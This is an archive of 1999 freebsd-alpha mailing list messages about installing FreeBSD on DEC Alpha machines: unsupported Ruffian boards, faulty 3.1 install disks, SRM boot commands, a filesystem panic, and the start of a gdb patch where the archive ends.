duke.cs.duke.edu (duke.cs.duke.edu [152.3.140.1]) by hub.freebsd.org (Postfix) with ESMTP id 8B9E41561E for ; Mon, 19 Apr 1999 15:32:07 -0700 (PDT) (envelope-from gallatin@cs.duke.edu) Received: from grasshopper.cs.duke.edu (grasshopper.cs.duke.edu [152.3.145.30]) by duke.cs.duke.edu (8.9.1/8.9.1) with ESMTP id SAA15266; Mon, 19 Apr 1999 18:29:40 -0400 (EDT) Received: (from gallatin@localhost) by grasshopper.cs.duke.edu (8.9.3/8.9.1) id SAA25855; Mon, 19 Apr 1999 18:29:37 -0400 (EDT) (envelope-from gallatin@cs.duke.edu) From: Andrew Gallatin MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Date: Mon, 19 Apr 1999 18:29:37 -0400 (EDT) To: Alex Cc: freebsd-alpha@FreeBSD.ORG Subject: Re: Installing on a MB164UX MotherBoard In-Reply-To: References: X-Mailer: VM 6.43 under 20.4 "Emerald" XEmacs Lucid Message-ID: <14107.44457.771144.644059@grasshopper.cs.duke.edu> Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Alex writes: > Good Day. > > My company recently purchased a new Alpha system with a Samsung MB164UX > motherboard. I am currently trying to install FreeBSD and having a heck > of time with it. I have dug through the archives at Freebsd.org with no > avail. I have two questions: > 1) Is this board reffered to as the "Ruffian" motherboard ? > 2) How do I get FreeBSD on this system ? You have a motherboard wich does not support the SRM console, only the AlphaBios. Currently, FreeBSD only boots from the SRM console. There were people working on booting FreeBSD from the AlphaBios, but I believe the project is stalled, possibly due to a lack of documentation. Sorry.. Drew ------------------------------------------------------------------------------ Andrew Gallatin, Sr Systems Programmer http://www.cs.duke.edu/~gallatin Duke University Email: gallatin@cs.duke.edu Department of Computer Science Phone: (919) 660-6590 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Mon Apr 19 21: 7:32 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from allegro.lemis.com (allegro.lemis.com [192.109.197.134]) by hub.freebsd.org (Postfix) with ESMTP id 1C21715335; Mon, 19 Apr 1999 21:07:23 -0700 (PDT) (envelope-from grog@freebie.lemis.com) Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137]) by allegro.lemis.com (8.9.1/8.9.0) with ESMTP id NAA21690; Tue, 20 Apr 1999 13:34:55 +0930 (CST) Received: (from grog@localhost) by freebie.lemis.com (8.9.3/8.9.0) id NAA45309; Tue, 20 Apr 1999 13:34:53 +0930 (CST) Message-ID: <19990420133453.S40482@lemis.com> Date: Tue, 20 Apr 1999 13:34:53 +0930 From: Greg Lehey To: Philip Rust , freebsd-questions@FreeBSD.ORG Cc: FreeBSD-alpha@FreeBSD.ORG Subject: Difficulties installing on alpha (was: Please-someone help me) References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.93.2i In-Reply-To: ; from Philip Rust on Thu, Apr 15, 1999 at 06:44:58PM -0500 WWW-Home-Page: http://www.lemis.com/~grog X-PGP-Fingerprint: 6B 7B C3 8C 61 CD 54 AF 13 24 52 F8 6D A4 95 EF Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-41-739-7062 Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Thursday, 15 April 1999 at 18:44:58 -0500, Philip Rust wrote: > Hi guys, > I am having a big problem that I have been working on for 2 > weeks. I am sure there is an easy solution, I am just not as Unix smart > as some of you. I have an AlphaStation 200 that I am trying to install > FreeBSD on with the alpha release on the 3.1 cdrom (i'm installing from > cdrom). I boot with the kern.flp and mfsboot.flp(?) and everything goes > okay so far. The installation menu comes up and I choose the beginners > installation and proceed. Basically, in the whole installation process, > I am never given an opportunity to choose how I want to boot from my hard > drive. Towards the end of the installation I get a message that says > something like: kernel copied okay, but unable to save boot -c changes. > (or something to that effect). So, at this point the installation > appears to be done, but for some reason I am taken back to the > installation menu. I then reboot and enter 'boot dka0' to boot from the > hard drive. Now, I had OpenBSD on this machine before FreeBSD, and when > I now try to boot from my hard drive, it still tries to boot OpenBSD (but > errors out). Apparently, during the FreeBSD installation nothing was > changed on the master boot record (i am guessing). So anyways, I then > boot with the fixit disk and take a look at the hard drive, and > everything for FreeBSD appears to be there - as if it installed correctly. > SOOO... my problem is: Why can't I boot into FreeBSD? What can I do to > fix this? > I'm sorry this email is so long, but this has been frustrating and I > wanted to give you guys as much information as possible. Thanks a bunch, > and I really hope you guys can help me. > PS. The whole installation process for me from cdrom didn't really fall in > line with what the instructions say it should be. THANKS GUYS > I will be crossing my fingers :) Well, you'd probably get more responses if you put the word "alpha" in your subject line. I wasn't sure what to do with this one, so I forwarded it to the FreeBSD-alpha list, asking if it were appropriate material for the list. Nobody said it wasn't, and some answered, so I suppose that means "if you have problems with an Alpha, send your message to FreeBSD-alpha". Here are some of the replies: On Sunday, 18 April 1999 at 10:43:46 -0400, Don wrote: >>> as some of you. I have an AlphaStation 200 that I am trying to install >>> FreeBSD on with the alpha release on the 3.1 cdrom (i'm installing from > > The FreeBSD alpha port on the 3.1 cdroms are somewhat outdated and weren't > entirely working. The alphastation 200 installs fine if you are using the > latest release but you will need to install that via ftp. On Sunday, 18 April 1999 at 8:21:10 -0700, Jordan K. Hubbard wrote: >> I am currently trying to get out of ARC to the SRM. I have the latest >> firmware, renamed it to fwupdate.exe, copied it to a floppy, but when I go >> into "Installl New Firmware" on my system, it won't install it off the >> floppy, the error I get is: > > Is this a DOS floppy? Greg -- When replying to this message, please copy the original recipients. For more information, see http://www.lemis.com/questions.html See complete headers for address, home page and phone numbers finger grog@lemis.com for PGP public key To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Tue Apr 20 1:19: 6 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from herring.nlsystems.com (nlsys.demon.co.uk [158.152.125.33]) by hub.freebsd.org (Postfix) with ESMTP id 5604F14F46 for ; Tue, 20 Apr 1999 01:19:03 -0700 (PDT) (envelope-from dfr@nlsystems.com) Received: from localhost (dfr@localhost) by herring.nlsystems.com (8.9.3/8.8.8) with ESMTP id JAA94817; Tue, 20 Apr 1999 09:21:58 +0100 (BST) (envelope-from dfr@nlsystems.com) Date: Tue, 20 Apr 1999 09:21:58 +0100 (BST) From: Doug Rabson To: erik@habatech.no Cc: alpha@FreeBSD.ORG Subject: RE: ATA driver for alpha In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Mon, 19 Apr 1999 erik@habatech.no wrote: > > On 19-Apr-99 Doug Rabson wrote: > > I have ported the new ATA driver to the FreeBSD/alpha. This provides > > support for IDE disks and cdroms. The version of the driver in the tree > > has only been tested on one old 433au machine so your mileage may vary > >:-). For the adventurous, add these lines to your kernel config: > > > Hooray! > Just one question, though... > Will this driver support the Cypress CY82C693 controller on the AlphaPC > 164SX boards? I think so. -- Doug Rabson Mail: dfr@nlsystems.com Nonlinear Systems Ltd. Phone: +44 181 442 9037 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Tue Apr 20 2:37:41 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from herring.nlsystems.com (nlsys.demon.co.uk [158.152.125.33]) by hub.freebsd.org (Postfix) with ESMTP id 4444E15124 for ; Tue, 20 Apr 1999 02:37:37 -0700 (PDT) (envelope-from dfr@nlsystems.com) Received: from localhost (dfr@localhost) by herring.nlsystems.com (8.9.3/8.8.8) with ESMTP id KAA95036; Tue, 20 Apr 1999 10:39:56 +0100 (BST) (envelope-from dfr@nlsystems.com) Date: Tue, 20 Apr 1999 10:39:56 +0100 (BST) From: Doug Rabson To: Kai Schmidt Cc: freebsd-alpha@freebsd.org Subject: Re: Disk errors when running sysinstall In-Reply-To: <199904191041.MAA31003@karhu.hirvi.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Mon, 19 Apr 1999, Kai Schmidt wrote: > On 19.04.99, 10:13:47 Doug Rabson wrote: > > Hi Doug, > > > The install program for 3.1 on the alpha is seriously broken. You would > > problably do better to download more recent floppy images from > > ftp.freebsd.org and try to install with them. > > Does this only apply to the disks or is it better to migrate my two Multia > and one XL to 4.0. > > Is 4.0 more stable, one of the Multias runs as a Web server so it should be > quiet stable. It just applies to the install disks. 3.1-STABLE should work well for your purposes. -- Doug Rabson Mail: dfr@nlsystems.com Nonlinear Systems Ltd. Phone: +44 181 442 9037 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Tue Apr 20 2:39: 0 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from herring.nlsystems.com (nlsys.demon.co.uk [158.152.125.33]) by hub.freebsd.org (Postfix) with ESMTP id 5A68214D9E for ; Tue, 20 Apr 1999 02:38:57 -0700 (PDT) (envelope-from dfr@nlsystems.com) Received: from localhost (dfr@localhost) by herring.nlsystems.com (8.9.3/8.8.8) with ESMTP id KAA95057; Tue, 20 Apr 1999 10:42:00 +0100 (BST) (envelope-from dfr@nlsystems.com) Date: Tue, 20 Apr 1999 10:42:00 +0100 (BST) From: Doug Rabson To: William Cc: alpha@freebsd.org Subject: Re: after the FTP install...booting off internal SCSI ???? In-Reply-To: <199904191455.HAA28397@mail.cybcon.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Mon, 19 Apr 1999, William wrote: > OK, last night the FTP install of 3.1 snapshot it all went very nicely, > long but went ok), I was asked to remove the floppy and reboot. OK, I > remove floppy and reboot. Now I am looking at the SRM console prompt ">>>". > How do I get this thing to boot off the internal SCSI where I installed?? Probably something like 'boot dka0' or 'boot dkc0'. Type 'show config' to get a list of devices. -- Doug Rabson Mail: dfr@nlsystems.com Nonlinear Systems Ltd. Phone: +44 181 442 9037 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Tue Apr 20 2:42:12 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from herring.nlsystems.com (nlsys.demon.co.uk [158.152.125.33]) by hub.freebsd.org (Postfix) with ESMTP id 6CB9215375; Tue, 20 Apr 1999 02:42:08 -0700 (PDT) (envelope-from dfr@nlsystems.com) Received: from localhost (dfr@localhost) by herring.nlsystems.com (8.9.3/8.8.8) with ESMTP id KAA95069; Tue, 20 Apr 1999 10:44:48 +0100 (BST) (envelope-from dfr@nlsystems.com) Date: Tue, 20 Apr 1999 10:44:48 +0100 (BST) From: Doug Rabson To: Joonas Tizihssane Cc: freebsd-alpha@freebsd.org, Stefan Esser Subject: Re: The Ruffian again.. In-Reply-To: <371B81E7.54002BB0@w-arts.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Mon, 19 Apr 1999, Joonas Tizihssane wrote: > Hi again, wondering if there has been any advance in the makeing of the > loader for the Ruffian board(s), if no, and the problem is getting info > from samsung, count on it that i will mail them and nag (hope it will > have some effect on them! :) > > I bought a 9.1gig disk that is waiting for freebsd to get installed on > it :) > > I hope that the loader will see the light of day soon.. > > /Joonas... > ps. Thanx in advance and thanx for the great work that is put to the > freebsd-alpha project! .ds Getting documentation was the thing which stopped this project. It seems that the firmware on these board only has a partial similarity with AlphaBIOS (which is fairly well documented now). Stefan Esser was working on this. -- Doug Rabson Mail: dfr@nlsystems.com Nonlinear Systems Ltd. Phone: +44 181 442 9037 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Tue Apr 20 5:53:29 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from swp5.gs.com (swp5.gs.com [192.246.9.39]) by hub.freebsd.org (Postfix) with ESMTP id C8D3614C8D for ; Tue, 20 Apr 1999 05:53:27 -0700 (PDT) (envelope-from Wally.Koscielny@gs.com) Received: from swp5.gs.com (root@localhost) by swp5.gs.com with ESMTP id IAA10959 for ; Tue, 20 Apr 1999 08:51:00 -0400 (EDT) Received: from nbcppsh02.wan.gs.com ([199.29.246.34]) by swp5.gs.com with ESMTP id IAA10955 for ; Tue, 20 Apr 1999 08:50:59 -0400 (EDT) Received: from nbcppsh01.wan.gs.com (nbcppsh01.wan.gs.com [138.8.220.34]) by nbcppsh02.wan.gs.com (8.9.1a/8.9.0/dmzpo1) with ESMTP id IAA03882 for ; Tue, 20 Apr 1999 08:51:12 -0400 (EDT) Received: from gsny24e.et.gs.com (gsny24e.et.gs.com [138.8.115.34]) by nbcppsh01.wan.gs.com (8.9.1a/8.9.0/postoffice1) with ESMTP id IAA18154 for ; Tue, 20 Apr 1999 08:50:58 -0400 (EDT) Received: by gsny24e.et.gs.com with Internet Mail Service (5.0.1460.8) id <2ZHX5VQK>; Tue, 20 Apr 1999 08:50:56 -0400 Message-ID: From: "Koscielny, Wally" To: alpha@FreeBSD.ORG Subject: PC164/500 boards Date: Tue, 20 Apr 1999 08:50:53 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.0.1460.8) Content-Type: text/plain Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hi guys, I'm very sorry but I cannot get these boards, the place I was ordering mine from told me that they are not getting any more. As a matter of fact, they didnt have my pc164lx in stock. Im sorry if I have gotten anyones hopes up :( Now, I'm stuck without any board or chip for my alpha system................. WK To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Tue Apr 20 5:55:52 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from intertain.interlog.com (mail.intertainnet.ca [206.108.92.2]) by hub.freebsd.org (Postfix) with ESMTP id CD1C114F89 for ; Tue, 20 Apr 1999 05:55:49 -0700 (PDT) (envelope-from alex@intertain.interlog.com) Received: from localhost (alex@localhost) by intertain.interlog.com (8.8.8/8.8.8) with SMTP id IAA06133; Tue, 20 Apr 1999 08:50:29 -0400 (EDT) (envelope-from alex@intertain.interlog.com) Date: Tue, 20 Apr 1999 08:50:29 -0400 (EDT) From: Alex To: Andrew Gallatin Cc: freebsd-alpha@FreeBSD.ORG Subject: Re: Installing on a MB164UX MotherBoard In-Reply-To: <14107.44457.771144.644059@grasshopper.cs.duke.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > > 1) Is this board reffered to as the "Ruffian" motherboard ? > > 2) How do I get FreeBSD on this system ? > > You have a motherboard wich does not support the SRM console, only the > AlphaBios. Currently, FreeBSD only boots from the SRM console. There > were people working on booting FreeBSD from the AlphaBios, but I > believe the project is stalled, possibly due to a lack of > documentation. That's very unfortunate, I was hoping that our company could have moved all of our FreeBSD systems to Alpha processors. Is there anyone I can talk to regarding this matter? I might be able to assist them in some small way. I would really like to see FreeBSD on this system. Alex Specogna To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Tue Apr 20 6:11:16 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from 3rdrock.coserve.org (coserve1.panam.edu [129.113.165.3]) by hub.freebsd.org (Postfix) with ESMTP id 9131814DB1 for ; Tue, 20 Apr 1999 06:11:12 -0700 (PDT) (envelope-from fabry@coserve.org) Received: from 3rdrock.coserve.org (3rdrock.coserve.org [198.213.49.88]) by 3rdrock.coserve.org (8.9.1/8.9.1) with SMTP id IAA09428 for ; Tue, 20 Apr 1999 08:04:16 -0500 (CDT) Date: Tue, 20 Apr 1999 08:04:16 -0500 (CDT) From: "Alain G. Fabry" To: freebsd-alpha@freebsd.org Subject: panic: ffs_valloc: dup alloc Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hello, I'm trying to install 3.1-19990326 on my Dec Workstation 200 4/166. Everything seems to be working fine. I go through the whole installation process, but at the end of extracting the bin code to the / directory, I get the following error. panic: ffs_valloc: dup alloc panic Stopped at Debugger..Ng+0x24: ldq ra.0(sp) and then it takes me to the db> I also noticed that if I go through a reinstall, it seems to have a problem creating the partitions on the harddrive since it does not show the partitions during the reinstall. I hope this makes sense and can anybody please help me. TIA Alain To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Tue Apr 20 6:34:56 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from news-ma.rhein-neckar.de (news-ma.rhein-neckar.de [193.197.90.3]) by hub.freebsd.org (Postfix) with ESMTP id 41CF015763 for ; Tue, 20 Apr 1999 06:34:20 -0700 (PDT) (envelope-from naddy@mips.rhein-neckar.de) Received: from mips.rhein-neckar.de (uucp@localhost) by news-ma.rhein-neckar.de (8.8.8/8.8.8) with bsmtp id PAA18712 for freebsd-alpha@freebsd.org; Tue, 20 Apr 1999 15:31:53 +0200 (CEST) (envelope-from naddy@mips.rhein-neckar.de) Received: by mips.rhein-neckar.de id m10ZYr4-000WyaC (Debian Smail-3.2.0.101 1997-Dec-17 #2); Tue, 20 Apr 1999 13:38:18 +0200 (CEST) From: naddy@mips.rhein-neckar.de (Christian Weisgerber) Subject: Re: Installing on a MB164UX MotherBoard Date: 20 Apr 1999 13:38:16 +0200 Message-ID: <7fhov8$dvm$1@mips.rhein-neckar.de> References: <14107.44457.771144.644059@grasshopper.cs.duke.edu> To: freebsd-alpha@freebsd.org Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Andrew Gallatin wrote: > Alex writes: > > My company recently purchased a new Alpha system with a Samsung MB164UX > > motherboard. > > 1) Is this board reffered to as the "Ruffian" motherboard ? Yes. > You have a motherboard wich does not support the SRM console, only the > AlphaBios. Actually, it's ARCSBIOS rather than AlphaBIOS. I'm not sure whether this ARCSBIOS is the same as the "ARC console" the mips people talk about. The most vexing part about the UX not being supported is that compared to the LX it is a much better board. You can get it with 4MB third-level cache, and it has six PCI slots plus on-board SCSI and ethernet. -- Christian "naddy" Weisgerber naddy@mips.rhein-neckar.de carpe librum: books 'n' reviews To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Tue Apr 20 6:35:14 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from news-ma.rhein-neckar.de (news-ma.rhein-neckar.de [193.197.90.3]) by hub.freebsd.org (Postfix) with ESMTP id DFC7614FEA for ; Tue, 20 Apr 1999 06:35:01 -0700 (PDT) (envelope-from naddy@mips.rhein-neckar.de) Received: from mips.rhein-neckar.de (uucp@localhost) by news-ma.rhein-neckar.de (8.8.8/8.8.8) with bsmtp id PAA18745 for freebsd-alpha@freebsd.org; Tue, 20 Apr 1999 15:32:34 +0200 (CEST) (envelope-from naddy@mips.rhein-neckar.de) Received: by mips.rhein-neckar.de id m10ZYks-000WyaC (Debian Smail-3.2.0.101 1997-Dec-17 #2); Tue, 20 Apr 1999 13:31:54 +0200 (CEST) From: naddy@mips.rhein-neckar.de (Christian Weisgerber) Subject: Re: The Ruffian again.. Date: 20 Apr 1999 13:31:51 +0200 Message-ID: <7fhoj7$dto$1@mips.rhein-neckar.de> References: <371B81E7.54002BB0@w-arts.com> To: freebsd-alpha@freebsd.org Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Doug Rabson wrote: > Getting documentation was the thing which stopped this project. It seems > that the firmware on these board only has a partial similarity with > AlphaBIOS (which is fairly well documented now). Stefan Esser was working > on this. Okay, now that somebody else has brought it up: Just what needs to be done, to get FreeBSD going on a Ruffian? At what point has progress stalled? If I wanted to work on this, where should I jump in, whom should I talk to? I don't recall ever seeing anything by Stefan Esser on this. (Is that the same Stefan Esser who owns the NCR driver?) -- Christian "naddy" Weisgerber naddy@mips.rhein-neckar.de carpe librum: books 'n' reviews To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Tue Apr 20 14:16:10 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from herring.nlsystems.com (nlsys.demon.co.uk [158.152.125.33]) by hub.freebsd.org (Postfix) with ESMTP id B396A151BD for ; Tue, 20 Apr 1999 14:15:43 -0700 (PDT) (envelope-from dfr@nlsystems.com) Received: from localhost (dfr@localhost) by herring.nlsystems.com (8.9.3/8.8.8) with ESMTP id WAA96257; Tue, 20 Apr 1999 22:18:36 +0100 (BST) (envelope-from dfr@nlsystems.com) Date: Tue, 20 Apr 1999 22:18:36 +0100 (BST) From: Doug Rabson To: Christian Weisgerber Cc: freebsd-alpha@freebsd.org Subject: Re: The Ruffian again.. In-Reply-To: <7fhoj7$dto$1@mips.rhein-neckar.de> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On 20 Apr 1999, Christian Weisgerber wrote: > Doug Rabson wrote: > > > Getting documentation was the thing which stopped this project. It seems > > that the firmware on these board only has a partial similarity with > > AlphaBIOS (which is fairly well documented now). Stefan Esser was working > > on this. > > Okay, now that somebody else has brought it up: > > Just what needs to be done, to get FreeBSD going on a Ruffian? At what > point has progress stalled? If I wanted to work on this, where should I > jump in, whom should I talk to? > > I don't recall ever seeing anything by Stefan Esser on this. (Is that > the same Stefan Esser who owns the NCR driver?) I have a bootstrap which runs in the same way as linload.exe from the AlphaBIOS firmware. It can load kernels (only from dedicated disks, not fdisk partitioned ones) but not much else. The firmware for the Ruffian was sufficiently different from AlphaBIOS that this program did not run. It appears that even Linux needs a special version of linload.exe for this board and documentation as to what the differences are is either unavailable or under NDA. Once that bridge is crossed, code needs to be written to initialise the runtime environment for the kernel which will involve switching to some kind of OSF palcode (or something very like it). In principle this isn't too hard but its fiddly and very hard to debug. -- Doug Rabson Mail: dfr@nlsystems.com Nonlinear Systems Ltd. Phone: +44 181 442 9037 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Tue Apr 20 14:19:50 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from herring.nlsystems.com (nlsys.demon.co.uk [158.152.125.33]) by hub.freebsd.org (Postfix) with ESMTP id C844314CA5 for ; Tue, 20 Apr 1999 14:19:44 -0700 (PDT) (envelope-from dfr@nlsystems.com) Received: from localhost (dfr@localhost) by herring.nlsystems.com (8.9.3/8.8.8) with ESMTP id WAA96297; Tue, 20 Apr 1999 22:22:33 +0100 (BST) (envelope-from dfr@nlsystems.com) Date: Tue, 20 Apr 1999 22:22:33 +0100 (BST) From: Doug Rabson To: "Alain G. Fabry" Cc: freebsd-alpha@freebsd.org Subject: Re: panic: ffs_valloc: dup alloc In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Tue, 20 Apr 1999, Alain G. Fabry wrote: > Hello, > > I'm trying to install 3.1-19990326 on my Dec Workstation 200 4/166. > Everything seems to be working fine. I go through the whole installation > process, but at the end of extracting the bin code to the / directory, I > get the following error. > > panic: ffs_valloc: dup alloc > panic > Stopped at Debugger..Ng+0x24: ldq ra.0(sp) > > and then it takes me to the db> > > I also noticed that if I go through a reinstall, it seems to have a > problem creating the partitions on the harddrive since it does not show > the partitions during the reinstall. > I hope this makes sense and can anybody please help me. > TIA That seems unusual for a freshly newfs'ed filesystem. That kind of error normally only appears after an unclean shutdown where there is un-synced data. Were there any other error messages on the console before this happened? Does this happen every time you install? -- Doug Rabson Mail: dfr@nlsystems.com Nonlinear Systems Ltd. Phone: +44 181 442 9037 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Tue Apr 20 14:45:45 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from 3rdrock.coserve.org (coserve1.panam.edu [129.113.165.3]) by hub.freebsd.org (Postfix) with ESMTP id 184D414BF5 for ; Tue, 20 Apr 1999 14:45:26 -0700 (PDT) (envelope-from fabry@coserve.org) Received: from 3rdrock.coserve.org (3rdrock.coserve.org [198.213.49.88]) by 3rdrock.coserve.org (8.9.1/8.9.1) with SMTP id QAA12431; Tue, 20 Apr 1999 16:38:00 -0500 (CDT) Date: Tue, 20 Apr 1999 16:38:00 -0500 (CDT) From: "Alain G. Fabry" To: Doug Rabson Cc: freebsd-alpha@freebsd.org Subject: Re: panic: ffs_valloc: dup alloc In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Have tried to install FreeBSD about 5 times with the same error and no, I don't get any other error before this one. What is weird to me is that whenever I get the error and try to reinstall and label/partition the hard drive, all my previous labels/partitions from the previous installation disappear and am working with a unpartitioned drive. On Tue, 20 Apr 1999, Doug Rabson wrote: > On Tue, 20 Apr 1999, Alain G. Fabry wrote: > > > Hello, > > > > I'm trying to install 3.1-19990326 on my Dec Workstation 200 4/166. > > Everything seems to be working fine. I go through the whole installation > > process, but at the end of extracting the bin code to the / directory, I > > get the following error. > > > > panic: ffs_valloc: dup alloc > > panic > > Stopped at Debugger..Ng+0x24: ldq ra.0(sp) > > > > and then it takes me to the db> > > > > I also noticed that if I go through a reinstall, it seems to have a > > problem creating the partitions on the harddrive since it does not show > > the partitions during the reinstall. > > I hope this makes sense and can anybody please help me. > > TIA > > That seems unusual for a freshly newfs'ed filesystem. That kind of error > normally only appears after an unclean shutdown where there is un-synced > data. Were there any other error messages on the console before this > happened? Does this happen every time you install? > > -- > Doug Rabson Mail: dfr@nlsystems.com > Nonlinear Systems Ltd. Phone: +44 181 442 9037 > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Tue Apr 20 14:54: 0 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from herring.nlsystems.com (nlsys.demon.co.uk [158.152.125.33]) by hub.freebsd.org (Postfix) with ESMTP id ABEA014F8D for ; Tue, 20 Apr 1999 14:53:42 -0700 (PDT) (envelope-from dfr@nlsystems.com) Received: from localhost (dfr@localhost) by herring.nlsystems.com (8.9.3/8.8.8) with ESMTP id WAA96424; Tue, 20 Apr 1999 22:56:47 +0100 (BST) (envelope-from dfr@nlsystems.com) Date: Tue, 20 Apr 1999 22:56:47 +0100 (BST) From: Doug Rabson To: "Alain G. Fabry" Cc: freebsd-alpha@freebsd.org Subject: Re: panic: ffs_valloc: dup alloc In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Tue, 20 Apr 1999, Alain G. Fabry wrote: > Have tried to install FreeBSD about 5 times with the same error and no, I > don't get any other error before this one. > What is weird to me is that whenever I get the error and try to reinstall > and label/partition the hard drive, all my previous labels/partitions from > the previous installation disappear and am working with a unpartitioned > drive. The reinstall thing is a long-standing bug in libdisk which I'm sure I will fix eventually. Its just extremely painful debugging problems with sysinstall and I have been putting it off :-(. As to the panic, I'm stumped. Has anyone else successfully installed this snapshot? -- Doug Rabson Mail: dfr@nlsystems.com Nonlinear Systems Ltd. Phone: +44 181 442 9037 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Tue Apr 20 16:20:20 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from lestat.nas.nasa.gov (lestat.nas.nasa.gov [129.99.50.29]) by hub.freebsd.org (Postfix) with ESMTP id E0E3B14CCE for ; Tue, 20 Apr 1999 16:20:18 -0700 (PDT) (envelope-from thorpej@lestat.nas.nasa.gov) Received: from lestat (localhost [127.0.0.1]) by lestat.nas.nasa.gov (8.8.8/8.6.12) with ESMTP id QAA15606; Tue, 20 Apr 1999 16:17:16 -0700 (PDT) Message-Id: <199904202317.QAA15606@lestat.nas.nasa.gov> To: Hidetoshi Shimokawa Cc: dfr@nlsystems.com, gallatin@cs.duke.edu, freebsd-alpha@FreeBSD.ORG, obrien@NUXI.com Subject: Re: EGCS and Alpha builds Reply-To: Jason Thorpe From: Jason Thorpe Date: Tue, 20 Apr 1999 16:17:16 -0700 Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Fri, 16 Apr 1999 00:48:13 +0900 Hidetoshi Shimokawa wrote: > Here is a gdb fix. > > --- alpha-tdep.c.orig Thu Apr 8 21:24:45 1999 > +++ alpha-tdep.c Fri Apr 16 00:44:29 1999 > @@ -502,6 +502,10 @@ > epilogue is reached. */ > break; > } > + else if ((word & 0xfff00fff) == 0x43c0053e) /* subq $sp,n,$sp */ > + { > + frame_size += word & 0xff; > + } > else if ((word & 0xfc1f0000) == 0xb41e0000 /* stq 